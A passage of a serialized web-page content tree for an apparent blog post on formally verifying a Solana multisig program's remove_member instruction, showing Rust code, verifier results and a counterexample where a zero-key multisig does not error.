new_index",{"type":25,"tag":201,"props":27737,"children":27738},{"style":261},[27739],{"type":31,"value":413},{"type":25,"tag":201,"props":27741,"children":27742},{"style":246},[27743],{"type":31,"value":27327},{"type":25,"tag":201,"props":27745,"children":27746},{"style":261},[27747],{"type":31,"value":80},{"type":25,"tag":201,"props":27749,"children":27750},{"style":220},[27751],{"type":31,"value":380},{"type":25,"tag":201,"props":27753,"children":27754},{"style":261},[27755],{"type":31,"value":80},{"type":25,"tag":201,"props":27757,"children":27758},{"style":220},[27759],{"type":31,"value":25296},{"type":25,"tag":201,"props":27761,"children":27762},{"style":261},[27763],{"type":31,"value":80},{"type":25,"tag":201,"props":27765,"children":27766},{"style":220},[27767],{"type":31,"value":27768},"transaction_index;\n",{"type":25,"tag":201,"props":27770,"children":27771},{"class":203,"line":757},[27772,27776,27780,27784,27788,27792,27796,27801,27805,27810],{"type":25,"tag":201,"props":27773,"children":27774},{"style":246},[27775],{"type":31,"value":21720},{"type":25,"tag":201,"props":27777,"children":27778},{"style":261},[27779],{"type":31,"value":80},{"type":25,"tag":201,"props":27781,"children":27782},{"style":220},[27783],{"type":31,"value":380},{"type":25,"tag":201,"props":27785,"children":27786},{"style":261},[27787],{"type":31,"value":80},{"type":25,"tag":201,"props":27789,"children":27790},{"style":220},[27791],{"type":31,"value":25296},{"type":25,"tag":201,"props":27793,"children":27794},{"style":261},[27795],{"type":31,"value":80},{"type":25,"tag":201,"props":27797,"children":27798},{"style":214},[27799],{"type":31,"value":27800},"set_change_index",{"type":25,"tag":201,"props":27802,"children":27803},{"style":220},[27804],{"type":31,"value":298},{"type":25,"tag":201,"props":27806,"children":27807},{"style":246},[27808],{"type":31,"value":27809},"new_index",{"type":25,"tag":201,"props":27811,"children":27812},{"style":220},[27813],{"type":31,"value":4666},{"type":25,"tag":201,"props":27815,"children":27816},{"class":203,"line":765},[27817],{"type":25,"tag":201,"props":27818,"children":27819},{"style":220},[27820],{"type":31,"value":1187},{"type":25,"tag":34,"props":27822,"children":27823},{},[27824,27826,27831],{"type":31,"value":27825},"First let's establish the ",{"type":25,"tag":115,"props":27827,"children":27829},{"className":27828},[],[27830],{"type":31,"value":21651},{"type":31,"value":27832}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":25,"tag":191,"props":27834,"children":27836},{"code":27835,"language":4486,"meta":7,"className":4487,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[27837],{"type":25,"tag":115,"props":27838,"children":27839},{"__ignoreMap":7},[27840,27847,27894,27901],{"type":25,"tag":201,"props":27841,"children":27842},{"class":203,"line":204},[27843],{"type":25,"tag":201,"props":27844,"children":27845},{"style":220},[27846],{"type":31,"value":25597},{"type":25,"tag":201,"props":27848,"children":27849},{"class":203,"line":226},[27850,27854,27858,27862,27866,27870,27874,27878,27882,27886,27890],{"type":25,"tag":201,"props":27851,"children":27852},{"style":220},[27853],{"type":31,"value":21720},{"type":25,"tag":201,"props":27855,"children":27856},{"style":261},[27857],{"type":31,"value":80},{"type":25,"tag":201,"props":27859,"children":27860},{"style":220},[27861],{"type":31,"value":380},{"type":25,"tag":201,"props":27863,"children":27864},{"style":261},[27865],{"type":31,"value":80},{"type":25,"tag":201,"props":27867,"children":27868},{"style":220},[27869],{"type":31,"value":25296},{"type":25,"tag":201,"props":27871,"children":27872},{"style":261},[27873],{"type":31,"value":80},{"type":25,"tag":201,"props":27875,"children":27876},{"style":220},[27877],{"type":31,"value":22478},{"type":25,"tag":201,"props":27879,"children":27880},{"style":261},[27881],{"type":31,"value":80},{"type":25,"tag":201,"props":27883,"children":27884},{"style":220},[27885],{"type":31,"value":22516},{"type":25,"tag":201,"props":27887,"children":27888},{"style":261},[27889],{"type":31,"value":1342},{"type":25,"tag":201,"props":27891,"children":27892},{"style":220},[27893],{"type":31,"value":20941},{"type":25,"tag":201,"props":27895,"children":27896},{"class":203,"line":278},[27897],{"type":25,"tag":201,"props":27898,"children":27899},{"style":220},[27900],{"type":31,"value":21755},{"type":25,"tag":201,"props":27902,"children":27903},{"class":203,"line":311},[27904,27908,27912,27916,27920,27924,27928],{"type":25,"tag":201,"props":27905,"children":27906},{"style":208},[27907],{"type":31,"value":21763},{"type":25,"tag":201,"props":27909,"children":27910},{"style":214},[27911],{"type":31,"value":27249},{"type":25,"tag":201,"props":27913,"children":27914},{"style":220},[27915],{"type":31,"value":298},{"type":25,"tag":201,"props":27917,"children":27918},{"style":261},[27919],{"type":31,"value":11095},{"type":25,"tag":201,"props":27921,"children":27922},{"style":220},[27923],{"type":31,"value":25474},{"type":25,"tag":201,"props":27925,"children":27926},{"style":261},[27927],{"type":31,"value":11095},{"type":25,"tag":201,"props":27929,"children":27930},{"style":220},[27931],{"type":31,"value":11100},{"type":25,"tag":34,"props":27933,"children":27934},{},[27935,27937,27942],{"type":31,"value":27936},"And for now let's remove the invariant on the ",{"type":25,"tag":115,"props":27938,"children":27940},{"className":27939},[],[27941],{"type":31,"value":24237},{"type":31,"value":27943}," account:",{"type":25,"tag":191,"props":27945,"children":27947},{"code":27946,"language":4486,"meta":7,"className":4487,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[27948],{"type":25,"tag":115,"props":27949,"children":27950},{"__ignoreMap":7},[27951,27959],{"type":25,"tag":201,"props":27952,"children":27953},{"class":203,"line":204},[27954],{"type":25,"tag":201,"props":27955,"children":27956},{"style":220},[27957],{"type":31,"value":27958},"#[invariant()]\n",{"type":25,"tag":201,"props":27960,"children":27961},{"class":203,"line":226},[27962,27966,27970,27974,27978,27982],{"type":25,"tag":201,"props":27963,"children":27964},{"style":208},[27965],{"type":31,"value":15192},{"type":25,"tag":201,"props":27967,"children":27968},{"style":208},[27969],{"type":31,"value":22646},{"type":25,"tag":201,"props":27971,"children":27972},{"style":4925},[27973],{"type":31,"value":22651},{"type":25,"tag":201,"props":27975,"children":27976},{"style":220},[27977],{"type":31,"value":11090},{"type":25,"tag":201,"props":27979,"children":27980},{"style":261},[27981],{"type":31,"value":11095},{"type":25,"tag":201,"props":27983,"children":27984},{"style":220},[27985],{"type":31,"value":11100},{"type":25,"tag":34,"props":27987,"children":27988},{},[27989],{"type":31,"value":27990},"Let's test this!",{"type":25,"tag":34,"props":27992,"children":27993},{},[27994,27996,28001],{"type":31,"value":27995},"Our ",{"type":25,"tag":115,"props":27997,"children":27999},{"className":27998},[],[28000],{"type":31,"value":21651},{"type":31,"value":28002}," harness produces:",{"type":25,"tag":191,"props":28004,"children":28006},{"code":28005},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[28007],{"type":25,"tag":115,"props":28008,"children":28009},{"__ignoreMap":7},[28010],{"type":31,"value":28005},{"type":25,"tag":34,"props":28012,"children":28013},{},[28014],{"type":31,"value":28015},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":25,"tag":34,"props":28017,"children":28018},{},[28019,28021,28026],{"type":31,"value":28020},"However, remember that since ",{"type":25,"tag":115,"props":28022,"children":28024},{"className":28023},[],[28025],{"type":31,"value":21651},{"type":31,"value":28027}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":25,"tag":34,"props":28029,"children":28030},{},[28031,28033,28038,28040,28045,28047,28052],{"type":31,"value":28032},"Suppose we want to be sure that this condition is the ",{"type":25,"tag":65,"props":28034,"children":28035},{},[28036],{"type":31,"value":28037},"only condition",{"type":31,"value":28039}," in which the function will succeed (i.e. ",{"type":25,"tag":65,"props":28041,"children":28042},{},[28043],{"type":31,"value":28044},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":31,"value":28046},"). We could attempt to verify the other side of this with an ",{"type":25,"tag":115,"props":28048,"children":28050},{"className":28049},[],[28051],{"type":31,"value":21658},{"type":31,"value":28053}," macro such as:",{"type":25,"tag":191,"props":28055,"children":28057},{"code":28056,"language":4486,"meta":7,"className":4487,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[28058],{"type":25,"tag":115,"props":28059,"children":28060},{"__ignoreMap":7},[28061,28068,28115,28122,28129,28176,28183],{"type":25,"tag":201,"props":28062,"children":28063},{"class":203,"line":204},[28064],{"type":25,"tag":201,"props":28065,"children":28066},{"style":220},[28067],{"type":31,"value":25597},{"type":25,"tag":201,"props":28069,"children":28070},{"class":203,"line":226},[28071,28075,28079,28083,28087,28091,28095,28099,28103,28107,28111],{"type":25,"tag":201,"props":28072,"children":28073},{"style":220},[28074],{"type":31,"value":21720},{"type":25,"tag":201,"props":28076,"children":28077},{"style":261},[28078],{"type":31,"value":80},{"type":25,"tag":201,"props":28080,"children":28081},{"style":220},[28082],{"type":31,"value":380},{"type":25,"tag":201,"props":28084,"children":28085},{"style":261},[28086],{"type":31,"value":80},{"type":25,"tag":201,"props":28088,"children":28089},{"style":220},[28090],{"type":31,"value":25296},{"type":25,"tag":201,"props":28092,"children":28093},{"style":261},[28094],{"type":31,"value":80},{"type":25,"tag":201,"props":28096,"children":28097},{"style":220},[28098],{"type":31,"value":22478},{"type":25,"tag":201,"props":28100,"children":28101},{"style":261},[28102],{"type":31,"value":80},{"type":25,"tag":201,"props":28104,"children":28105},{"style":220},[28106],{"type":31,"value":22516},{"type":25,"tag":201,"props":28108,"children":28109},{"style":261},[28110],{"type":31,"value":1342},{"type":25,"tag":201,"props":28112,"children":28113},{"style":220},[28114],{"type":31,"value":20941},{"type":25,"tag":201,"props":28116,"children":28117},{"class":203,"line":278},[28118],{"type":25,"tag":201,"props":28119,"children":28120},{"style":220},[28121],{"type":31,"value":21755},{"type":25,"tag":201,"props":28123,"children":28124},{"class":203,"line":311},[28125],{"type":25,"tag":201,"props":28126,"children":28127},{"style":220},[28128],{"type":31,"value":21712},{"type":25,"tag":201,"props":28130,"children":28131},{"class":203,"line":330},[28132,28136,28140,28144,28148,28152,28156,28160,28164,28168,28172],{"type":25,"tag":201,"props":28133,"children":28134},{"style":220},[28135],{"type":31,"value":21720},{"type":25,"tag":201,"props":28137,"children":28138},{"style":261},[28139],{"type":31,"value":80},{"type":25,"tag":201,"props":28141,"children":28142},{"style":220},[28143],{"type":31,"value":380},{"type":25,"tag":201,"props":28145,"children":28146},{"style":261},[28147],{"type":31,"value":80},{"type":25,"tag":201,"props":28149,"children":28150},{"style":220},[28151],{"type":31,"value":25296},{"type":25,"tag":201,"props":28153,"children":28154},{"style":261},[28155],{"type":31,"value":80},{"type":25,"tag":201,"props":28157,"children":28158},{"style":220},[28159],{"type":31,"value":22478},{"type":25,"tag":201,"props":28161,"children":28162},{"style":261},[28163],{"type":31,"value":80},{"type":25,"tag":201,"props":28165,"children":28166},{"style":220},[28167],{"type":31,"value":22516},{"type":25,"tag":201,"props":28169,"children":28170},{"style":261},[28171],{"type":31,"value":20913},{"type":25,"tag":201,"props":28173,"children":28174},{"style":220},[28175],{"type":31,"value":20941},{"type":25,"tag":201,"props":28177,"children":28178},{"class":203,"line":397},[28179],{"type":25,"tag":201,"props":28180,"children":28181},{"style":220},[28182],{"type":31,"value":21755},{"type":25,"tag":201,"props":28184,"children":28185},{"class":203,"line":437},[28186,28190,28194,28198,28202,28206,28210],{"type":25,"tag":201,"props":28187,"children":28188},{"style":208},[28189],{"type":31,"value":21763},{"type":25,"tag":201,"props":28191,"children":28192},{"style":214},[28193],{"type":31,"value":27249},{"type":25,"tag":201,"props":28195,"children":28196},{"style":220},[28197],{"type":31,"value":298},{"type":25,"tag":201,"props":28199,"children":28200},{"style":261},[28201],{"type":31,"value":11095},{"type":25,"tag":201,"props":28203,"children":28204},{"style":220},[28205],{"type":31,"value":25474},{"type":25,"tag":201,"props":28207,"children":28208},{"style":261},[28209],{"type":31,"value":11095},{"type":25,"tag":201,"props":28211,"children":28212},{"style":220},[28213],{"type":31,"value":11100},{"type":25,"tag":34,"props":28215,"children":28216},{},[28217,28219,28224],{"type":31,"value":28218},"Let's test this, we just need to run the new ",{"type":25,"tag":115,"props":28220,"children":28222},{"className":28221},[],[28223],{"type":31,"value":21658},{"type":31,"value":28225}," harness:",{"type":25,"tag":191,"props":28227,"children":28229},{"code":28228},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[28230],{"type":25,"tag":115,"props":28231,"children":28232},{"__ignoreMap":7},[28233],{"type":31,"value":28228},{"type":25,"tag":34,"props":28235,"children":28236},{},[28237],{"type":31,"value":28238},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":25,"tag":191,"props":28240,"children":28242},{"code":28241,"language":4486,"meta":7,"className":4487,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[28243],{"type":25,"tag":115,"props":28244,"children":28245},{"__ignoreMap":7},[28246,28257,28276,28295,28314,28333,28352,28371,28390,28409,28428,28448,28467,28474,28481,28508],{"type":25,"tag":201,"props":28247,"children":28248},{"class":203,"line":204},[28249,28253],{"type":25,"tag":201,"props":28250,"children":28251},{"style":4925},[28252],{"type":31,"value":18642},{"type":25,"tag":201,"props":28254,"children":28255},{"style":220},[28256],{"type":31,"value":327},{"type":25,"tag":201,"props":28258,"children":28259},{"class":203,"line":226},[28260,28264,28268,28272],{"type":25,"tag":201,"props":28261,"children":28262},{"style":246},[28263],{"type":31,"value":26657},{"type":25,"tag":201,"props":28265,"children":28266},{"style":261},[28267],{"type":31,"value":5997},{"type":25,"tag":201,"props":28269,"children":28270},{"style":4925},[28271],{"type":31,"value":22651},{"type":25,"tag":201,"props":28273,"children":28274},{"style":220},[28275],{"type":31,"value":327},{"type":25,"tag":201,"props":28277,"children":28278},{"class":203,"line":278},[28279,28283,28287,28291],{"type":25,"tag":201,"props":28280,"children":28281},{"style":246},[28282],{"type":31,"value":25316},{"type":25,"tag":201,"props":28284,"children":28285},{"style":261},[28286],{"type":31,"value":5997},{"type":25,"tag":201,"props":28288,"children":28289},{"style":426},[28290],{"type":31,"value":4554},{"type":25,"tag":201,"props":28292,"children":28293},{"style":220},[28294],{"type":31,"value":547},{"type":25,"tag":201,"props":28296,"children":28297},{"class":203,"line":311},[28298,28302,28306,28310],{"type":25,"tag":201,"props":28299,"children":28300},{"style":246},[28301],{"type":31,"value":26697},{"type":25,"tag":201,"props":28303,"children":28304},{"style":261},[28305],{"type":31,"value":5997},{"type":25,"tag":201,"props":28307,"children":28308},{"style":426},[28309],{"type":31,"value":4554},{"type":25,"tag":201,"props":28311,"children":28312},{"style":220},[28313],{"type":31,"value":547},{"type":25,"tag":201,"props":28315,"children":28316},{"class":203,"line":330},[28317,28321,28325,28329],{"type":25,"tag":201,"props":28318,"children":28319},{"style":246},[28320],{"type":31,"value":26717},{"type":25,"tag":201,"props":28322,"children":28323},{"style":261},[28324],{"type":31,"value":5997},{"type":25,"tag":201,"props":28326,"children":28327},{"style":426},[28328],{"type":31,"value":4554},{"type":25,"tag":201,"props":28330,"children":28331},{"style":220},[28332],{"type":31,"value":547},{"type":25,"tag":201,"props":28334,"children":28335},{"class":203,"line":397},[28336,28340,28344,28348],{"type":25,"tag":201,"props":28337,"children":28338},{"style":246},[28339],{"type":31,"value":26737},{"type":25,"tag":201,"props":28341,"children":28342},{"style":261},[28343],{"type":31,"value":5997},{"type":25,"tag":201,"props":28345,"children":28346},{"style":426},[28347],{"type":31,"value":4554},{"type":25,"tag":201,"props":28349,"children":28350},{"style":220},[28351],{"type":31,"value":547},{"type":25,"tag":201,"props":28353,"children":28354},{"class":203,"line":437},[28355,28359,28363,28367],{"type":25,"tag":201,"props":28356,"children":28357},{"style":246},[28358],{"type":31,"value":26757},{"type":25,"tag":201,"props":28360,"children":28361},{"style":261},[28362],{"type":31,"value":5997},{"type":25,"tag":201,"props":28364,"children":28365},{"style":426},[28366],{"type":31,"value":4554},{"type":25,"tag":201,"props":28368,"children":28369},{"style":220},[28370],{"type":31,"value":547},{"type":25,"tag":201,"props":28372,"children":28373},{"class":203,"line":464},[28374,28378,28382,28386],{"type":25,"tag":201,"props":28375,"children":28376},{"style":246},[28377],{"type":31,"value":25328},{"type":25,"tag":201,"props":28379,"children":28380},{"style":261},[28381],{"type":31,"value":5997},{"type":25,"tag":201,"props":28383,"children":28384},{"style":261},[28385],{"type":31,"value":26785},{"type":25,"tag":201,"props":28387,"children":28388},{"style":220},[28389],{"type":31,"value":547},{"type":25,"tag":201,"props":28391,"children":28392},{"class":203,"line":490},[28393,28397,28401,28405],{"type":25,"tag":201,"props":28394,"children":28395},{"style":246},[28396],{"type":31,"value":26797},{"type":25,"tag":201,"props":28398,"children":28399},{"style":261},[28400],{"type":31,"value":5997},{"type":25,"tag":201,"props":28402,"children":28403},{"style":208},[28404],{"type":31,"value":542},{"type":25,"tag":201,"props":28406,"children":28407},{"style":220},[28408],{"type":31,"value":547},{"type":25,"tag":201,"props":28410,"children":28411},{"class":203,"line":499},[28412,28416,28420,28424],{"type":25,"tag":201,"props":28413,"children":28414},{"style":246},[28415],{"type":31,"value":26817},{"type":25,"tag":201,"props":28417,"children":28418},{"style":261},[28419],{"type":31,"value":5997},{"type":25,"tag":201,"props":28421,"children":28422},{"style":4925},[28423],{"type":31,"value":22884},{"type":25,"tag":201,"props":28425,"children":28426},{"style":220},[28427],{"type":31,"value":327},{"type":25,"tag":201,"props":28429,"children":28430},{"class":203,"line":522},[28431,28436,28440,28444],{"type":25,"tag":201,"props":28432,"children":28433},{"style":246},[28434],{"type":31,"value":28435},"            data",{"type":25,"tag":201,"props":28437,"children":28438},{"style":261},[28439],{"type":31,"value":5997},{"type":25,"tag":201,"props":28441,"children":28442},{"style":261},[28443],{"type":31,"value":26785},{"type":25,"tag":201,"props":28445,"children":28446},{"style":220},[28447],{"type":31,"value":547},{"type":25,"tag":201,"props":28449,"children":28450},{"class":203,"line":531},[28451,28455,28459,28463],{"type":25,"tag":201,"props":28452,"children":28453},{"style":246},[28454],{"type":31,"value":26838},{"type":25,"tag":201,"props":28456,"children":28457},{"style":261},[28458],{"type":31,"value":5997},{"type":25,"tag":201,"props":28460,"children":28461},{"style":426},[28462],{"type":31,"value":4554},{"type":25,"tag":201,"props":28464,"children":28465},{"style":220},[28466],{"type":31,"value":547},{"type":25,"tag":201,"props":28468,"children":28469},{"class":203,"line":550},[28470],{"type":25,"tag":201,"props":28471,"children":28472},{"style":220},[28473],{"type":31,"value":789},{"type":25,"tag":201,"props":28475,"children":28476},{"class":203,"line":563},[28477],{"type":25,"tag":201,"props":28478,"children":28479},{"style":220},[28480],{"type":31,"value":26866},{"type":25,"tag":201,"props":28482,"children":28483},{"class":203,"line":572},[28484,28488,28492,28496,28500,28504],{"type":25,"tag":201,"props":28485,"children":28486},{"style":246},[28487],{"type":31,"value":26874},{"type":25,"tag":201,"props":28489,"children":28490},{"style":261},[28491],{"type":31,"value":5997},{"type":25,"tag":201,"props":28493,"children":28494},{"style":4925},[28495],{"type":31,"value":26883},{"type":25,"tag":201,"props":28497,"children":28498},{"style":220},[28499],{"type":31,"value":11090},{"type":25,"tag":201,"props":28501,"children":28502},{"style":261},[28503],{"type":31,"value":11095},{"type":25,"tag":201,"props":28505,"children":28506},{"style":220},[28507],{"type":31,"value":26896},{"type":25,"tag":201,"props":28509,"children":28510},{"class":203,"line":590},[28511],{"type":25,"tag":201,"props":28512,"children":28513},{"style":220},[28514],{"type":31,"value":1187},{"type":25,"tag":34,"props":28516,"children":28517},{},[28518],{"type":31,"value":28519},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":25,"tag":34,"props":28521,"children":28522},{},[28523,28525,28531],{"type":31,"value":28524},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":25,"tag":115,"props":28526,"children":28528},{"className":28527},[],[28529],{"type":31,"value":28530},"Ms::remove_member",{"type":31,"value":5997},{"type":25,"tag":191,"props":28533,"children":28535},{"code":28534,"language":4486,"meta":7,"className":4487,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[28536],{"type":25,"tag":115,"props":28537,"children":28538},{"__ignoreMap":7},[28539,28598,28629,28636],{"type":25,"tag":201,"props":28540,"children":28541},{"class":203,"line":204},[28542,28546,28550,28554,28558,28562,28566,28570,28574,28578,28582,28586,28590,28594],{"type":25,"tag":201,"props":28543,"children":28544},{"style":230},[28545],{"type":31,"value":4105},{"type":25,"tag":201,"props":28547,"children":28548},{"style":246},[28549],{"type":31,"value":27327},{"type":25,"tag":201,"props":28551,"children":28552},{"style":261},[28553],{"type":31,"value":80},{"type":25,"tag":201,"props":28555,"children":28556},{"style":220},[28557],{"type":31,"value":380},{"type":25,"tag":201,"props":28559,"children":28560},{"style":261},[28561],{"type":31,"value":80},{"type":25,"tag":201,"props":28563,"children":28564},{"style":220},[28565],{"type":31,"value":25296},{"type":25,"tag":201,"props":28567,"children":28568},{"style":261},[28569],{"type":31,"value":80},{"type":25,"tag":201,"props":28571,"children":28572},{"style":220},[28573],{"type":31,"value":22478},{"type":25,"tag":201,"props":28575,"children":28576},{"style":261},[28577],{"type":31,"value":80},{"type":25,"tag":201,"props":28579,"children":28580},{"style":214},[28581],{"type":31,"value":10643},{"type":25,"tag":201,"props":28583,"children":28584},{"style":220},[28585],{"type":31,"value":15545},{"type":25,"tag":201,"props":28587,"children":28588},{"style":261},[28589],{"type":31,"value":10083},{"type":25,"tag":201,"props":28591,"children":28592},{"style":426},[28593],{"type":31,"value":6029},{"type":25,"tag":201,"props":28595,"children":28596},{"style":220},[28597],{"type":31,"value":327},{"type":25,"tag":201,"props":28599,"children":28600},{"class":203,"line":226},[28601,28605,28609,28613,28617,28621,28625],{"type":25,"tag":201,"props":28602,"children":28603},{"style":230},[28604],{"type":31,"value":18486},{"type":25,"tag":201,"props":28606,"children":28607},{"style":214},[28608],{"type":31,"value":25012},{"type":25,"tag":201,"props":28610,"children":28611},{"style":220},[28612],{"type":31,"value":298},{"type":25,"tag":201,"props":28614,"children":28615},{"style":4925},[28616],{"type":31,"value":25021},{"type":25,"tag":201,"props":28618,"children":28619},{"style":261},[28620],{"type":31,"value":4988},{"type":25,"tag":201,"props":28622,"children":28623},{"style":4925},[28624],{"type":31,"value":27403},{"type":25,"tag":201,"props":28626,"children":28627},{"style":220},[28628],{"type":31,"value":308},{"type":25,"tag":201,"props":28630,"children":28631},{"class":203,"line":278},[28632],{"type":25,"tag":201,"props":28633,"children":28634},{"style":220},[28635],{"type":31,"value":1187},{"type":25,"tag":201,"props":28637,"children":28638},{"class":203,"line":311},[28639,28643,28647,28651,28655,28659,28663,28667,28671,28675,28679,28683],{"type":25,"tag":201,"props":28640,"children":28641},{"style":246},[28642],{"type":31,"value":21777},{"type":25,"tag":201,"props":28644,"children":28645},{"style":261},[28646],{"type":31,"value":80},{"type":25,"tag":201,"props":28648,"children":28649},{"style":220},[28650],{"type":31,"value":380},{"type":25,"tag":201,"props":28652,"children":28653},{"style":261},[28654],{"type":31,"value":80},{"type":25,"tag":201,"props":28656,"children":28657},{"style":220},[28658],{"type":31,"value":25296},{"type":25,"tag":201,"props":28660,"children":28661},{"style":261},[28662],{"type":31,"value":80},{"type":25,"tag":201,"props":28664,"children":28665},{"style":214},[28666],{"type":31,"value":26951},{"type":25,"tag":201,"props":28668,"children":28669},{"style":220},[28670],{"type":31,"value":298},{"type":25,"tag":201,"props":28672,"children":28673},{"style":246},[28674],{"type":31,"value":27283},{"type":25,"tag":201,"props":28676,"children":28677},{"style":220},[28678],{"type":31,"value":3073},{"type":25,"tag":201,"props":28680,"children":28681},{"style":261},[28682],{"type":31,"value":4661},{"type":25,"tag":201,"props":28684,"children":28685},{"style":220},[28686],{"type":31,"value":461},{"type":25,"tag":34,"props":28688,"children":28689},{},[28690,28692,28698,28700,28706],{"type":31,"value":28691},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":25,"tag":115,"props":28693,"children":28695},{"className":28694},[],[28696],{"type":31,"value":28697},"Ms::is_member",{"type":31,"value":28699},") and if it is not, it simply skips the removal and returns ",{"type":25,"tag":115,"props":28701,"children":28703},{"className":28702},[],[28704],{"type":31,"value":28705},"Ok(())",{"type":31,"value":80},{"type":25,"tag":191,"props":28708,"children":28710},{"code":28709,"language":4486,"meta":7,"className":4487,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[28711],{"type":25,"tag":115,"props":28712,"children":28713},{"__ignoreMap":7},[28714,28778,28837,28874,28933,29001,29008,29015,29026],{"type":25,"tag":201,"props":28715,"children":28716},{"class":203,"line":204},[28717,28721,28725,28729,28733,28737,28741,28745,28749,28754,28758,28762,28766,28770,28774],{"type":25,"tag":201,"props":28718,"children":28719},{"style":208},[28720],{"type":31,"value":15192},{"type":25,"tag":201,"props":28722,"children":28723},{"style":208},[28724],{"type":31,"value":15197},{"type":25,"tag":201,"props":28726,"children":28727},{"style":214},[28728],{"type":31,"value":27249},{"type":25,"tag":201,"props":28730,"children":28731},{"style":220},[28732],{"type":31,"value":298},{"type":25,"tag":201,"props":28734,"children":28735},{"style":261},[28736],{"type":31,"value":4615},{"type":25,"tag":201,"props":28738,"children":28739},{"style":208},[28740],{"type":31,"value":5228},{"type":25,"tag":201,"props":28742,"children":28743},{"style":208},[28744],{"type":31,"value":15299},{"type":25,"tag":201,"props":28746,"children":28747},{"style":220},[28748],{"type":31,"value":919},{"type":25,"tag":201,"props":28750,"children":28751},{"style":246},[28752],{"type":31,"value":28753},"member",{"type":25,"tag":201,"props":28755,"children":28756},{"style":261},[28757],{"type":31,"value":5997},{"type":25,"tag":201,"props":28759,"children":28760},{"style":4925},[28761],{"type":31,"value":22352},{"type":25,"tag":201,"props":28763,"children":28764},{"style":220},[28765],{"type":31,"value":385},{"type":25,"tag":201,"props":28767,"children":28768},{"style":261},[28769],{"type":31,"value":15259},{"type":25,"tag":201,"props":28771,"children":28772},{"style":4925},[28773],{"type":31,"value":15264},{"type":25,"tag":201,"props":28775,"children":28776},{"style":220},[28777],{"type":31,"value":21828},{"type":25,"tag":201,"props":28779,"children":28780},{"class":203,"line":226},[28781,28785,28790,28795,28799,28804,28808,28812,28816,28820,28825,28829,28833],{"type":25,"tag":201,"props":28782,"children":28783},{"style":230},[28784],{"type":31,"value":13781},{"type":25,"tag":201,"props":28786,"children":28787},{"style":208},[28788],{"type":31,"value":28789}," let",{"type":25,"tag":201,"props":28791,"children":28792},{"style":4925},[28793],{"type":31,"value":28794}," Some",{"type":25,"tag":201,"props":28796,"children":28797},{"style":220},[28798],{"type":31,"value":298},{"type":25,"tag":201,"props":28800,"children":28801},{"style":246},[28802],{"type":31,"value":28803},"ind",{"type":25,"tag":201,"props":28805,"children":28806},{"style":220},[28807],{"type":31,"value":385},{"type":25,"tag":201,"props":28809,"children":28810},{"style":261},[28811],{"type":31,"value":1383},{"type":25,"tag":201,"props":28813,"children":28814},{"style":208},[28815],{"type":31,"value":15299},{"type":25,"tag":201,"props":28817,"children":28818},{"style":261},[28819],{"type":31,"value":80},{"type":25,"tag":201,"props":28821,"children":28822},{"style":214},[28823],{"type":31,"value":28824},"is_member",{"type":25,"tag":201,"props":28826,"children":28827},{"style":220},[28828],{"type":31,"value":298},{"type":25,"tag":201,"props":28830,"children":28831},{"style":246},[28832],{"type":31,"value":28753},{"type":25,"tag":201,"props":28834,"children":28835},{"style":220},[28836],{"type":31,"value":275},{"type":25,"tag":201,"props":28838,"children":28839},{"class":203,"line":278},[28840,28845,28849,28853,28857,28862,28866,28870],{"type":25,"tag":201,"props":28841,"children":28842},{"style":208},[28843],{"type":31,"value":28844},"        self",{"type":25,"tag":201,"props":28846,"children":28847},{"style":261},[28848],{"type":31,"value":80},{"type":25,"tag":201,"props":28850,"children":28851},{"style":220},[28852],{"type":31,"value":22478},{"type":25,"tag":201,"props":28854,"children":28855},{"style":261},[28856],{"type":31,"value":80},{"type":25,"tag":201,"props":28858,"children":28859},{"style":214},[28860],{"type":31,"value":28861},"remove",{"type":25,"tag":201,"props":28863,"children":28864},{"style":220},[28865],{"type":31,"value":298},{"type":25,"tag":201,"props":28867,"children":28868},{"style":246},[28869],{"type":31,"value":28803},{"type":25,"tag":201,"props":28871,"children":28872},{"style":220},[28873],{"type":31,"value":308},{"type":25,"tag":201,"props":28875,"children":28876},{"class":203,"line":311},[28877,28881,28885,28889,28893,28897,28901,28905,28909,28913,28917,28921,28925,28929],{"type":25,"tag":201,"props":28878,"children":28879},{"style":230},[28880],{"type":31,"value":4779},{"type":25,"tag":201,"props":28882,"children":28883},{"style":208},[28884],{"type":31,"value":15299},{"type":25,"tag":201,"props":28886,"children":28887},{"style":261},[28888],{"type":31,"value":80},{"type":25,"tag":201,"props":28890,"children":28891},{"style":220},[28892],{"type":31,"value":22478},{"type":25,"tag":201,"props":28894,"children":28895},{"style":261},[28896],{"type":31,"value":80},{"type":25,"tag":201,"props":28898,"children":28899},{"style":214},[28900],{"type":31,"value":10643},{"type":25,"tag":201,"props":28902,"children":28903},{"style":220},[28904],{"type":31,"value":27528},{"type":25,"tag":201,"props":28906,"children":28907},{"style":4925},[28908],{"type":31,"value":18097},{"type":25,"tag":201,"props":28910,"children":28911},{"style":261},[28912],{"